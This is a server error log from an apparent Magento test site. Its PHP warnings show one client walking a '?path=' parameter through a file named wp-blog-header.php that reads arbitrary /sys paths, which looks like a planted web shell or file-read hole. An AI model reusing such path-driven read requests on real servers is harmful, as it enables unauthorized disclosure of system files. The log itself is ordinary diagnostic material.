[Thu Mar 26 15:01:31.775133 2026] [php:warn] [pid 3230778] [client 74.7.241.26:41942] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/drivers/ac
[Thu Mar 26 15:01:33.842871 2026] [php:warn] [pid 3230778] [client 74.7.241.26:41942] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/drivers/ac
[Thu Mar 26 15:01:35.615149 2026] [php:warn] [pid 3236333] [client 74.7.241.26:38866] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/device:fe
[Thu Mar 26 15:01:37.187774 2026] [php:warn] [pid 3236333] [client 74.7.241.26:38866] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:cc
[Thu Mar 26 15:01:43.135232 2026] [php:warn] [pid 3236333] [client 74.7.241.26:38866] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:aa
[Thu Mar 26 15:01:45.207402 2026] [php:warn] [pid 3236333] [client 74.7.241.26:38866] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/drivers/ac
[Thu Mar 26 15:01:46.310004 2026] [php:warn] [pid 3236333] [client 74.7.241.26:38866] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:aa
[Thu Mar 26 15:01:47.377663 2026] [php:warn] [pid 3236333] [client 74.7.241.26:38866] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem
[Thu Mar 26 15:01:48.972749 2026] [php:warn] [pid 3236333] [client 74.7.241.26:38866] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem
[Thu Mar 26 15:01:52.624197 2026] [php:warn] [pid 3236333] [client 74.7.241.26:38866] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:ac
[Thu Mar 26 15:01:57.956183 2026] [php:warn] [pid 3236333] [client 74.7.241.26:38866] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem
[Thu Mar 26 15:02:00.561095 2026] [php:warn] [pid 3236333] [client 74.7.241.26:38866] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:ac
[Thu Mar 26 15:02:01.096634 2026] [php:warn] [pid 3236333] [client 74.7.241.26:38866] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/drivers/ac
[Thu Mar 26 15:02:04.776496 2026] [php:warn] [pid 3236333] [client 74.7.241.26:38866] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:fc
[Thu Mar 26 15:02:05.220185 2026] [php:warn] [pid 3236333] [client 74.7.241.26:38866] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/drivers/ac
[Thu Mar 26 15:02:10.069553 2026] [php:warn] [pid 3236333] [client 74.7.241.26:38866] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem
[Thu Mar 26 15:02:11.576158 2026] [php:warn] [pid 3236333] [client 74.7.241.26:38866] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:ca
[Thu Mar 26 15:02:15.873186 2026] [php:warn] [pid 3236333] [client 74.7.241.26:38866] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem
[Thu Mar 26 15:02:17.941045 2026] [php:warn] [pid 3236333] [client 74.7.241.26:38866] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:bc
[Thu Mar 26 15:02:18.974219 2026] [php:warn] [pid 3236333] [client 74.7.241.26:38866] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:be
[Thu Mar 26 15:02:20.582168 2026] [php:warn] [pid 3236333] [client 74.7.241.26:38866] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:ca
[Thu Mar 26 15:02:30.432947 2026] [php:warn] [pid 3236333] [client 74.7.241.26:38866] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:ce
[Thu Mar 26 15:02:31.719278 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem
[Thu Mar 26 15:02:32.214233 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:aa
[Thu Mar 26 15:02:34.808178 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/drivers/ac
[Thu Mar 26 15:02:35.351237 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem
[Thu Mar 26 15:02:38.587879 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:fa
[Thu Mar 26 15:02:41.788626 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:da
[Thu Mar 26 15:02:42.373055 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem
[Thu Mar 26 15:02:44.443030 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/drivers/ac
[Thu Mar 26 15:02:47.569438 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:fc
[Thu Mar 26 15:02:48.623958 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:ac
[Thu Mar 26 15:02:49.240501 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 15:02:52.456338 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:ce
[Thu Mar 26 15:02:53.056940 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem
[Thu Mar 26 15:02:56.174585 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/drivers/ec
[Thu Mar 26 15:02:56.708444 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/drivers/ec
[Thu Mar 26 15:02:59.396263 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem
[Thu Mar 26 15:03:01.516006 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:bc
[Thu Mar 26 15:03:02.094645 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:da
[Thu Mar 26 15:03:04.296951 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:fa
[Thu Mar 26 15:03:04.803771 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:da
[Thu Mar 26 15:03:07.411333 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:ac
[Thu Mar 26 15:03:07.936840 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:ce
